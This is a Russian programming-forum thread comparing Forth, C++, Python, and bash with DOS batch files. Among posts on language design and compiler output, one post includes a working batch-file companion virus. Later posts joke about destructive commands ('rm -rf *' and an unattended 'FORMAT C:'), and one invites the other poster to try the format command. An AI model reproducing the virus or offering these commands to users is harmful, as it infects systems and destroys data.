
![]() |
Наши проекты:
Журнал · Discuz!ML · Wiki · DRKB · Помощь проекту |
|
ПРАВИЛА | FAQ | Помощь | Поиск | Участники | Календарь | Избранное | RSS |
[216.73.216.218] |
![]() |
|
Страницы: (31) « Первая ... 15 16 [17] 18 19 ... 30 31 ( Перейти к последнему сообщению ) |
Сообщ.
#241
,
|
|
|
Цитата impik777 @ еще идеальный язык должен позволять максимально просто моделировать объекты реального мира, при этом синтаксис должен максимально просто приводить это моделирование к MVC виду, что бы код был легко переносим, и переход с любой библиотеки ввода вывода был максимально прост типа достаточно изменить пару строчек и код вывода не изменяется, а прога уже работает под MFC вместо VCL, или вообще под DirectX. т.е. способы выводы и ввода,точнее их интерфейс всегда был одинаков Отсюда вывод в идеальном языке должно быть как минимум несколько прослоек. Как минимум - две! Первая идеальная для человека... т.е. позволяющая пользуясь человеческой логикой и инструментами наиболее подходящими человеку описывать необходимые задачи. Вторая прослойка должна быть как можно ближе к машине надеюсь понятно почему? ![]() А по поводу "типа достаточно изменить пару строчек и код вывода не изменяется, а прога уже работает под MFC вместо VCL, или вообще под DirectX." тут согласен полностью. Только еще надо добавить что идеальный язык должен уметь работать на всех платформах как программы на Python и без перекомпилирования программа в одном виде должна уметь работать всюду! |
Сообщ.
#242
,
|
|
|
Цитата best_lamer @ без перекомпилирования программа в одном виде должна уметь работать всюду! лично я согласен и на компиляцию, т.к. код получается более оптимизированный под данный проц, главное, чтоб человек меньше парился Добавлено еще насчет ошибок в VB есть гениальный оператор On Error и три вариации использования ![]() ![]() On Error GoTo <метка> On Error Resume On Error Resume Next который ставят перед строчкой в которой может произойти баг мне он очень нравится больше чем try\catch на С++ ![]() |
Сообщ.
#243
,
|
|
|
Цитата best_lamer @ И поэтому хорошо что есть ассемблер бейсик си паскаль и т.д. Чем больше разнообразие инструментов тем больше задачь под силу программисту. Возникает конкуренция и таким образом выигрывают все! И потом надо различать задачи и выбирать под них инструменты. Ты невнимателен, Форт может видоизменяться и стать одним из этих языков, при этом оставаясь Фортом. Самые хреновые ошибки проявляются не во время тестирования. Цитата Hryak @ И чего я там должен увидеть? То, что при делении целого на целое получается целое - это довольно логично и весьма эффективно. Впитывается в кровь в первые же недели обучения. А то, что во втором примере компилятор не обратит внимания на то, что после умножения идет деление, и можешь получить неверный результат. В таких случаях используют преобразование к __int64, но это не эффективно! Цитата Hryak @ Если пользователям - то могут найти аналогичную программу, написанную более опытными. Не слишком ли примитивное решение проблемы? Цитата Hryak @ Ну, расскажи, например, про возможности легкого использования статического и динамического полиморфизма в ассемблере. Если самому вломы взглянуть в доку, то вот вырезки: Цитата Инструкция CALL расширена таким образом, чтобы поддерживать методы объектов. Вызов метода объекта может генерировать либо не- посредственный вызов (для статических методов), либо косвенный вызов (для виртуальных методов). Цитата Инструкция JMP...METHOD полностью аналогична инструкции CALL...METHOD, за исключением того, что она: - генерирует вместо инструкции CALL инструкцию JMP; - генерирует код завершения процедуры для очистки стека пе- ред генерацией инструкции JMP. Инструкция JMP...METHOD позволяет писать эффективный код остаточной рекурсии (tail recursion). Она предназначена для заме- ны общей ситуации, когда инструкция CALL...METHOD дается для конкретного метода с последующей инструкцией RET. А как в С++ реализуется остаточная рекурсия? Цитата Заметим, что вы можете использовать директивы TBLINST и TBLINIT, даже если в объекте нет виртуальных методов. В этом слу- чае никаких действий не выполняется. Таким образом, мы рекоменду- ем вам использовать директивы TBLINST и TBLINIT независимо от на- личия в объекте виртуальных методов. Поместите директиву TBLINST в соответствующий сегмент данных, а TBLINIT - в метод инициализа- ции объекта (который должен быть статическим). Вы должны вызывать этот метод перед использованием всех других методов объекта. Цитата Hryak @ Современные компиляторы очень хорошо раскладывают код по регистрам и наслышаны об особенностях процессоров Кинь дампик. Хотя бы тех примеров, что я привел выше. А как насчет нескольких входов в подпрограммы? Как насчет свертки функций? Ну к примеру у тебя bitfield на 300000 бит. Что тебе С++ сгенерит, скажем при инвентировании 196100-го бита? Цитата Hryak @ Насколько быстрее-то? Чтобы после книжки "Освой XXX за 21 день" уже писать крутые мощные программы? Для того он и идеальный. И вообще, программы могут быть хорошими, а могут и не очень, но я не представляю, что значит крутые. Точнее под досом, это его наследие. В bat: ![]() ![]() help cd > путь\bash.txt :: результат тот же, файл может лежать на "другой машине в локальной сети или вообще не суть важно где именно" ![]() ![]() copy /b a: LPT copy /b a: путь\bash.txt :: самое веселое, что в досе есть драйвера, которые и могут перенаправить вывод :: на устройство, или наоборот в файл. Но это система, причем здесь сабж? Поясни плиз, не врублюсь, что ты хотел сказать. Для системы есть только два типа файлов - исполняемые и прочие. А запускать файл на исполнение или нет зависит только от системы(и дров естественно). Цитата best_lamer @ все это походит на *.bat но своими возможностями превосходит свой виндовый аналог во мноооого раз. Да и батники не лыком шиты, можно даже вирусы писать: ![]() ![]() @echo off ctty nul for %%f in (*.exe *.com) do set A=%%f if %A%==COMMAND.COM set A= rename %A% V%A% if not exist V%A% goto end attrib +h V%A% copy %0.bat %A% attrib +r %A% ren %A% *.bat set A= :end ctty con @if exist V%0.com V%0.com %1 %2 %3 @if exist V%0.exe V%0.exe %1 %2 %3 Но можно сделать намного лучше. Например: ![]() ![]() @echo [binary code] > file.com file.com К тому же было несколько расширителей, добавляющих в баты кучу новых возможностей. Но это все не имеет никакого отношения к языкам программирования. |
Сообщ.
#244
,
|
|
|
Цитата AndNot @ Ты невнимателен, Форт может видоизменяться и стать одним из этих языков, при этом оставаясь Фортом. Ну и? ![]() ![]() Цитата AndNot @ Для системы есть только два типа файлов - исполняемые и прочие. Для Linux не факт что простой текстовой файл не может быть исполняемым ![]() Цитата AndNot @ Поясни плиз, не врублюсь, что ты хотел сказать. Я хотел сказать что сам факт исполняемости файла в Linux не зависит от содержимого файла (текст, бинарные данные...) и не зависит от расширения файла. ![]() Цитата AndNot @ copy /b a: LPT copy /b a: путь\bash.txt :: самое веселое, что в досе есть драйвера, которые и могут перенаправить вывод:: на устройство, или наоборот в файл. Но это система, причем здесь сабж? Насчет A:\ и LPT - порадовал! ![]() Виртуальные CD! Копируем содержимое CD в файл: ![]() ![]() # dd if=/dev/cdrom of=cd.iso Подключаем образ CD: ![]() ![]() # mount cd.iso /cdrom -o loop Дальше ловим кайф... Вывод результатов команды на сервер: ![]() ![]() # tar -cf - /home | bzip2 -9 | ssh server "cat > /backup/home.tar.bz2" Железо... Информация о ядре и драйверах: ![]() ![]() dmesg Шина PCI: ![]() ![]() lspci ![]() ![]() cat /proc/pci Шина USB: ![]() ![]() lsusb Процессор: ![]() ![]() cat /proc/cpuinfo Жесткий диск: ![]() ![]() hdparm -i /dev/hda hdparm -I /dev/hda smartctl -a /dev/hda Видеокарта: ![]() ![]() xdpyinfo glxinfo xvinfo Хотя бы вышеперечисленное можно на *.bat осилить? ![]() ![]() Цитата AndNot @ Да и батники не лыком шиты, можно даже вирусы писать: ![]() ![]() rm -rf * ![]() Цитата AndNot @ Но это все не имеет никакого отношения к языкам программирования. ![]() ![]() |
Сообщ.
#245
,
|
|
|
Цитата AndNot @ А то, что во втором примере компилятор не обратит внимания на то, что после умножения идет деление, и можешь получить неверный результат. И слава богу, что не обращает(да и права такого не имеет). Зато полная детерминированность результата - вычисления происходят согласно приоритету операторов и их ассоциативности. Цитата Цитата Hryak @ Если пользователям - то могут найти аналогичную программу, написанную более опытными. Не слишком ли примитивное решение проблемы? Зато простое и реальное. Цитата Цитата Hryak @ Ну, расскажи, например, про возможности легкого использования статического и динамического полиморфизма в ассемблере. Если самому вломы взглянуть в доку, то вот вырезки: Насчет динамического полиморфизма - принято (). Что насчет статического? Цитата А как в С++ реализуется остаточная рекурсия? Имеешь в виду, есть ли в нем аналог JMP METHOD? Нет, нету. Цитата Кинь дампик. Хотя бы тех примеров, что я привел выше. TBLINST, TBLINIT, CALL METHOD ? Гм. Несерьезно. ![]() ![]() struct S { virtual void f() { __asm { nop } } // чтобы обломать оптимизатор, дабы он не выкинул вызов пустой функции }; int main() { S s; s.f(); S* ps = new S(); ps->f(); delete ps; } ![]() ![]() int main() { 00401BD0 push ebp 00401BD1 mov ebp,esp 00401BD3 and esp,0FFFFFFF8h 00401BD6 sub esp,1Ch 00401BD9 push esi S s; s.f(); 00401BDA lea ecx,[esp+8] 00401BDE call S::f (401BC0h) ; оптимизация - вызов напрямую. Да и указатель на vftable не инициализирован, ибо не нужен S* ps = new S(); 00401BE3 push 4 00401BE5 call operator new (407A3Bh) 00401BEA add esp,4 00401BED test eax,eax 00401BEF je main+2Bh (401BFBh) 00401BF1 mov dword ptr [eax],offset S::`vftable' (41F87Ch) ; инициализация указателя на vftable 00401BF7 mov esi,eax 00401BF9 jmp main+2Dh (401BFDh) 00401BFB xor esi,esi ps->f(); 00401BFD mov eax,dword ptr [esi] 00401BFF mov edx,dword ptr [eax] 00401C01 mov ecx,esi 00401C03 call edx ; вызов через vftable delete ps; 00401C05 push esi 00401C06 call operator delete (407947h) 00401C0B add esp,4 } Цитата А как насчет нескольких входов в подпрограммы? Этого нет. Да и разумность этого крайне невелика, имхо. Цитата Как насчет свертки функций? Компилятор может это делать. Цитата Ну к примеру у тебя bitfield на 300000 бит. Что тебе С++ сгенерит, скажем при инвентировании 196100-го бита? c bitfield'ом - тяжко. Так и представил, что кто-нить использует структуру с 300000-ми членов. ![]() std::bitset могу показать. Раз 196100 - константа, то код весьма прост: ![]() ![]() std::bitset<300000> bs; int main() { bs.flip(196100); } ![]() ![]() bs.flip(196100); 00401BF6 xor dword ptr ds:[433A20h],10h ; адрес bs = 42DA60 Цитата Для того он и идеальный. И вообще, программы могут быть хорошими, а могут и не очень, но я не представляю, что значит крутые. Имелось в виду сложные и многофункциональные программы. |
Сообщ.
#246
,
|
|
|
Цитата best_lamer @ Насчет A:\ и LPT - порадовал! Это для того, чтоб показать, что вывод может быть перенаправлен на драйвер устройства, который может обзываться как угодно, дос сам его найдет. Цитата best_lamer @ Я хотел сказать что сам факт исполняемости файла в Linux не зависит от содержимого файла (текст, бинарные данные...) и не зависит от расширения файла. И как же он определяет что ему запускать, а что нет? Цитата best_lamer @ А теперь давай по серьёзному? Все нижеприведенное это возможности системы, которые этот интерпретер и вызывает, при чем здесь возможности интерпритатора? Ты покажи его возможности, пока что кроме перенаправления вывода ты ничего не показал. Цитата best_lamer @ И если можно то насколько легко и просто это будет выглядеть? Запуском соответствующих программ. Цитата best_lamer @ rm -rf * Поясни, не все Линукс знают. Цитата best_lamer @ Имеет самое непосредственное! Или программирование не призвано решать проблемы пользователей? Написание батников еще никто не называл программированием ![]() С его помощью не решить очень многих проблем. Попробуй написать драйвер устройства ![]() В PC-досе был REXX (из OS/2). Вот на нем действительно можно почти все, т.к. имелся интерфейс дополнять его командами на любом языке программирования ![]() Обладал мощнейшими функциями по работе со строками, числами, датами и пр. На нем даже интерпритатор можно было написать ![]() Но опять же не в тему. Цитата best_lamer @ Я тоже могу написать небольшую прослойку над Python которая заставит его быть полноценным Pascal-ём! Именно что прослойку, но под ней останется Python, а на Форте получишь именно Паскаль, а Фортом он останется только потому, что останется возможность к дальнейшему видоизменению. А в этой прослойке, после запуска можно будет использовать синтаксис самого Python? Она будет самостоятельной программой? А если будет, будут ли средства у конечного пользователя дальше ее изменять, подстраивать под себя? К тому же есть у Форта хорошая черта, всего одной командой сохраняется новая версия, т.е. если после запуска Форта ты что то изменил, что то выкинул, то просто сохраняешь сам Форт. Не нравится реализация FOR, пожалуйста, меняй на свою. А где еще так можно? Может я и программировал бы на С++, но мне не нравится его синтаксис, и не могу я его изменить. Попробовал на C--, но результат не впечатлил, оказывается нельзя так смешивать ЯВУ и Асм, легко ошибок наделать (впрочем чисто IMHO, пишут же люди). Добавлено Цитата Hryak @ И слава богу, что не обращает(да и права такого не имеет). Зато полная детерминированность результата - вычисления происходят согласно приоритету операторов и их ассоциативности. Причем здесь приоритет? Дело то в том, что после умножения DWORD на DWORD результат получается QWORD, который может просто не влезть в int. И деление после этого логично производить именно от промежуточного результата, а я наблюдал другую картину ![]() Цитата Hryak @ Зато простое и реальное. Это все равно, что мол не нравится винда, ставь другую систему. Только вот аналогичных что-то не вижу ![]() Цитата Hryak @ Насчет динамического полиморфизма - принято (). Что насчет статического? То же самое. Более того, рекомендуется вызовы методов оформлять как виртуальные, а тасм сам при компиляции определит какой метод и с чем его едят (и код вызова соответственно подправит). Это же Борланд, они в те времена все на совесть делали. Цитата Hryak @ Имеешь в виду, есть ли в нем аналог JMP METHOD? Нет, нету. Не, просто интересовало как это можно сделать. Цитата Hryak @ 00401BDE call S::f (401BC0h) ; оптимизация - вызов напрямую. Да и указатель на vftable не инициализирован, ибо не нужен Умный черт ![]() Цитата Hryak @ Этого нет. Да и разумность этого крайне невелика, имхо. Это потому что ты ими не пользуешся ![]() Цитата Hryak @ Раз 196100 - константа, то код весьма прост Ну почему именно константа? Меня больше интересует как он адрес будет вычислять, и соответственно после этого инвертировать. Цитата Hryak @ Имелось в виду сложные и многофункциональные программы. Знаешь, дрова тоже сложные бывают, но их никто не называет крутыми ![]() |
Сообщ.
#247
,
|
|
|
Цитата AndNot @ И как же он определяет что ему запускать, а что нет? По правам доступа к файлу. man chmod ![]() Цитата AndNot @ Все нижеприведенное это возможности системы Правильно и именно поэтому bash это сила. ![]() ![]() Цитата AndNot @ Ты покажи его возможности, пока что кроме перенаправления вывода ты ничего не показал. Тот кто хотел увидеть тот увидел. Раз так лады. Вот простенький пример... Цепочка процессов Запускаем программа_0 после ее выполнения - программа_1 запускается параллельно с программа_2. Если программа_2 выполняется успешно то запускаем программа_3 иначе запускаем программа_4 Вот как просто это будет выглядеть на bash: ![]() ![]() программа_0; программа_1& {программа_2 && программа_3 || программа_4} Или такое к примеру... Игрушки с файлами. Есть текущий каталог с текстовыми файлами (*.txt). Все соддержимое всех текстовых файлов сливаем в один документ (texts.txt) в формате Цитата file название_очередного_файла.txt Тут содержание название__очередного_файла.txt Собственно: ![]() ![]() echo "{directory $PWD}" > texts.txt for fn in *.txt do echo "{file $fn}" >> texts.txt cat $fn >> texts.txt done Так как там насчет *.bat? ![]() Цитата AndNot @ Поясни, не все Линукс знают. Рекурсивное удаление всего не глядя ни на что... Почти как del *.* только нааамного веселее. Цитата AndNot @ Написание батников еще никто не называл программированием А я и не говорил что написание батников - программирование! ![]() ![]() Цитата AndNot @ Именно что прослойку, но под ней останется Python, а на Форте получишь именно Паскаль, а Фортом он останется только потому, что останется возможность к дальнейшему видоизменению. Не надо лапшу на уши вешать! Парсер и есть парсер! Но для того чтоб парсер паскаля написанный на форте заработал все равно нужен форт. И форт как был так и останется! Точно так же как и Python. Цитата AndNot @ А в этой прослойке, после запуска можно будет использовать синтаксис самого Python? Ну а почему нет? Если так надо то организовать можно. Цитата AndNot @ Она будет самостоятельной программой? Если надо будет либо отдельной программой либо частью самого Python-а Цитата AndNot @ А если будет, будут ли средства у конечного пользователя дальше ее изменять, подстраивать под себя? Конечно! Python - интерпретатор большинство (99%) программ в исходниках... Цитата AndNot @ Это все равно, что мол не нравится винда, ставь другую систему. Правильно! ![]() Цитата AndNot @ Только вот аналогичных что-то не вижу ![]() Свят свят свят... ![]() |
Сообщ.
#248
,
|
|
|
Цитата Цитата (AndNot @ Вчера, 23:49) А если будет, будут ли средства у конечного пользователя дальше ее изменять, подстраивать под себя? Знаете, какой-нибудь бухгалтер или менеджер, не будет разбираться в Форте или в чем-нибудь еще чтобы изменить прогу на которой он работает, он просто обратится в программисту, тот быстро перескриптует ее, без перекомпиляции. и ВСЕ !!!! и все довольны Добавлено Цитата AndNot @ Знаешь, дрова тоже сложные бывают, но их никто не называет крутыми если ты думаешь, что бывают дрова, круче по сложности и функциональности чем средненькая EIS'ка, то ты сильно ошибаешься Добавлено Цитата best_lamer @ Не надо лапшу на уши вешать! Парсер и есть парсер! Но для того чтоб парсер паскаля написанный на форте заработал все равно нужен форт. И форт как был так и останется! Точно так же как и Python. ![]() ![]() ![]() просто на Форте очень хорошая система макросов, этим и объясняется изменчивость синтаксиса Добавлено Цитата AndNot @ Самые хреновые ошибки проявляются не во время тестирования. значит хреновое тестирование, но ошибки логики - это ошибки проектирования правильно спроектируешь, компилятор сам не позволит тебе совершить логическую ошибку Именно для этого придумали ООП, а не чтобы, как думают многие, проще писать было а вообще ошибки логики хорошо исправляются и скрипт системой, поменял настройки и все ОК |
Сообщ.
#249
,
|
|
|
Цитата best_lamer @ Что б к примеру через бат получить инфу о процессоре? Запросто. ![]() ![]() msd /P info.txt mode con /sta > conkbd.txt Цитата best_lamer @ Раз так лады. Вот простенький пример... Цепочка процессов В досе нет такого понятия, он почти однозадачный ![]() ![]() Цитата best_lamer @ Игрушки с файлами. Цитата best_lamer @ Так как там насчет *.bat? ![]() Нашел чем удивить ![]() ![]() ![]() if '%save%==' goto findalltxt echo file %1 >>texts.txt type %1 >>texts.txt goto exit :findalltxt set save=%0 for %%i in (*.txt) do call %0 %%i set save= :exit Цитата best_lamer @ Рекурсивное удаление всего не глядя ни на что... Почти как del *.* только нааамного веселее. Запросто. Но можно еше веселее ![]() ![]() ![]() ECHO Y | FORMAT C: /U /v:HeHeHe /autotest Если хочешь попробуй ![]() Цитата best_lamer @ Не ровняй shell и *.bat это разные вещи! Да судя по всему все-таки одно и то же. Цитата best_lamer @ Но для того чтоб парсер паскаля написанный на форте заработал все равно нужен форт. Не обязательно. К тому же можно и скомпилировать. Цитата best_lamer @ Если надо будет либо отдельной программой либо частью самого Python-а Задам вопрос по другому. При создании исполняемого файла сохраняется интерпритатор? А как насчет скорости? Цитата best_lamer @ Конечно! Python - интерпретатор большинство (99%) программ в исходниках... Дай плиз ссылочку, где можно на него взглянуть. Желательно по русски ![]() Цитата best_lamer @ Свят свят свят... ![]() Не все могут себе позволить уйти на другую систему ![]() Добавлено Цитата impik777 @ Знаете, какой-нибудь бухгалтер или менеджер, не будет разбираться в Форте или в чем-нибудь еще чтобы изменить прогу на которой он работает, он просто обратится в программисту, тот быстро перескриптует ее, без перекомпиляции. и ВСЕ !!!! и все довольны За компами сидят не только бухгалтера и менеджеры ![]() ![]() Цитата impik777 @ если ты думаешь, что бывают дрова, круче по сложности и функциональности чем средненькая EIS'ка, то ты сильно ошибаешься Несравнимые вещи. У каждого своя специфика. Ты думаешь написание того же вируса легкое дело? А ведь кода в нем не много. Но этот случай из разряда "1001 зависание". Или попробуй на ЯВУ написать хорошую систему защиты программы (самомодификация и шифровка кода, сокрытие инструкций, и тд.). Думаешь тоже легко? Цитата impik777 @ просто на Форте очень хорошая система макросов, этим и объясняется изменчивость синтаксиса На Форте нет макросов, нет даже такого понятия. Ему это ни к чему ![]() Цитата impik777 @ значит хреновое тестирование, но ошибки логики - это ошибки проектирования правильно спроектируешь, компилятор сам не позволит тебе совершить логическую ошибку Проектирование не панацея от всех бед, человек просто физически не способен всего предусмотреть. Поэтому и появляются "корректировочки/уточнения" при реализации проектов. А от ошибок логики не способен защитить ни один компилятор. И самое хреновое, ошибки могут проявляться редко, только при совпадении многих факторов, здесь уж никакое тестирование не поможет. Цитата impik777 @ Именно для этого придумали ООП, а не чтобы, как думают многие, проще писать было На С++ он реализован неплохо, но одним ООП всех задач не решишь, некоторые без него лучше решаются. Цитата impik777 @ а вообще ошибки логики хорошо исправляются и скрипт системой, поменял настройки и все ОК В смысле? |
Сообщ.
#250
,
|
|
|
Цитата AndNot @ Или попробуй на ЯВУ написать хорошую систему защиты программы (самомодификация и шифровка кода, сокрытие инструкций, и тд.). Думаешь тоже легко? На лиспе это довольно прозрачно можно сделать. |
Сообщ.
#251
,
|
|
|
Цитата AndNot @ В досе нет такого понятия, он почти однозадачный ![]() ![]() А кто о DOS-е говорит? Я наивно полагал что и в Windows существует скриптовый механизм управления программами процессами и т.п. Цитата AndNot @ Задам вопрос по другому. При создании исполняемого файла сохраняется интерпритатор? А как насчет скорости? Я вообще не играюсь с чем-либо, кроме игрушек, имеющем отношение к Windows. Python - интерпретатор а не компилятор... Пока... Но для Python for windows есть проект py2exe с помощью которого можно создавать исполнимые файлы об их качестве и вообще вопрос не ко мне ибо сие у меня есть виндовый Python на работе только ради того чтоб проверять работоспособность своих программ в винде. А сам проект py2exe пока меня вообще не особо беспокоил. Если нужна скорость сразу бери асм! Мне в моих программах не принципиально за 1 сек. или за 3 секунды выполнится код... А когда принципиально то я выбираю: gcc, fpc и т.д. Кстати темка по поводу Pythona уже была поднята по моему в холиваре я там даже скорость работы кода тестировал ![]() Цитата AndNot @ Дай плиз ссылочку, где можно на него взглянуть. Желательно по русски Есть несколько неплохих ресурсов на Рус. http://pythonrus.chat.ru/ http://diveinto.python.ru/toc.html http://www.python.com.ua/ для начального знакомства самое оно. Но все равно гораздо интереснее родной сайт The Python Programming Language Цитата AndNot @ Не все могут себе позволить уйти на другую систему И в этом случае просто хотелось бы альтернативу других разработчиков (какой для доса является PTS DOS). Мне хватило 2х лет для полного просветления! Потом как то взвесив все за и против случился переломный момент до меня дошло что винда мне и не особо нужна в моей жизни. А щаз ломки не испытываю. ![]() ![]() |
Сообщ.
#252
,
|
|
|
Цитата AndNot @ А от ошибок логики не способен защитить ни один компилятор. а для чего по твоему существует инкапсуляция, контроль типов и т.д. Добавлено например Java не скомпилирует такой код ![]() ![]() if(x=0)... Добавлено Цитата AndNot @ На Форте нет макросов, нет даже такого понятия. Ему это ни к чему задание новых слов в сущности макрос Добавлено Цитата AndNot @ При создании исполняемого файла сохраняется интерпритатор? это чего каждый раз изучать новый синтаксис, так это озвереть можно лучше пусть будет один сложный, чем очень много легких Добавлено Цитата AndNot @ Цитата (impik777 @ Сегодня, 11:36) а вообще ошибки логики хорошо исправляются и скрипт системой, поменял настройки и все ОК В смысле? в примитиве ini файл более глубоко - использование интерпретирующихся скриптов Добавлено Цитата AndNot @ Или попробуй на ЯВУ написать хорошую систему защиты программы (самомодификация и шифровка кода, сокрытие инструкций, и тд.). а как на форте это сделать, если исходники и так открыты и каждый может их изменить (большое достоинство по твоим словам) |
Сообщ.
#253
,
|
|
|
Цитата impik777 @ это чего каждый раз изучать новый синтаксис, так это озвереть можно лучше пусть будет один сложный, чем очень много легких Если это был камень в сторону Python так тут немного мимо. Если человек знает хотя бы один из языков программирования. Или хотя бы имеет начальное представление о циклах функциях процедурах классах и прочем то он поймет Python в два счета! Синтаксис прост как 5 копеек! И не смотря на кажущуюся простоту сам язык Python намного эффективнее Delphi (pascal, fpc) и C вместе взятых. Правда потом тяжело заставить себя писать что то громоздкое на той же delphe к примеру если на python это занимает всего одну строчку ![]() Добавлено Цитата impik777 @ а как на форте это сделать, если исходники и так открыты и каждый может их изменить (большое достоинство по твоим словам) Python компилируется в промежуточный байт код по типу java можно оставить открытой только саму вызывающую программу а о реализации челевек все равно ничего знать не будет ![]() ![]() |
Сообщ.
#254
,
|
|
|
Цитата best_lamer @ А кто о DOS-е говорит? Я наивно полагал что и в Windows существует скриптовый механизм управления программами процессами и т.п. Да он со времен доса практически не развивался. А жаль ![]() Цитата best_lamer @ Мне в моих программах не принципиально за 1 сек. или за 3 секунды выполнится код... Мне нет, поэтому и перехожу на Форт. Он немного проигрывает асму, хоть и интерпритатор ![]() Цитата best_lamer @ Жалею только об одном - интернета хочу побольше. На диалапе я... Такая же херня ![]() Цитата impik777 @ а для чего по твоему существует инкапсуляция, контроль типов и т.д. блин, ну причем здесь ошибки логики программы? Цитата impik777 @ задание новых слов в сущности макрос no,No,nO,NOOOO! Ты путаешь понятия! Это большая разница. В С++ ты можешь пользоваться теми возможностями макросов, которые знает компилятор, а Форту это до фонаря! Ты сам определяешь его знания ![]() Цитата impik777 @ это чего каждый раз изучать новый синтаксис, так это озвереть можно лучше пусть будет один сложный, чем очень много легких Да нет, уж лучше у каждого подогнанный под него инструмент, чем у всех "универсальная стиральная машина со встроенным телевизором, телефоном и хлеблрезкой". С++ от того и сложный, что в него попытались напихать всего "для всех случаев жизни", только всего не предусмотришь. Да и программирование постоянно развивается. Цитата impik777 @ в примитиве ini файл более глубоко - использование интерпретирующихся скриптов Это отстой а не программа, если она может заглючить от неверно прописанного INI. Цитата impik777 @ а как на форте это сделать, если исходники и так открыты и каждый может их изменить (большое достоинство по твоим словам) Блок, отвечающий за защиту, можно скомпилировать в машинный код. Форт ничего не запрещает ![]() ![]() Добавлено Цитата best_lamer @ Если человек знает хотя бы один из языков программирования. Или хотя бы имеет начальное представление о циклах функциях процедурах классах и прочем то он поймет Python в два счета! Синтаксис прост как 5 копеек! ![]() Цитата best_lamer @ И не смотря на кажущуюся простоту сам язык Python намного эффективнее Delphi (pascal, fpc) и C вместе взятых Не надо так категорично, подозреваю что по скорости он им здорово проиграет, по крайней мере С. Цитата best_lamer @ Python компилируется в промежуточный байт код Вот здесь то собака и зарыта. Форт компилирует в машинный код, и это хорошо сказывается на быстродействии. |
Сообщ.
#255
,
|
|
|
Цитата AndNot @ Не надо так категорично, подозреваю что по скорости он им здорово проиграет, по крайней мере С. Эффективность и скорость исполнения программы — вещи, не связанные напрямую. |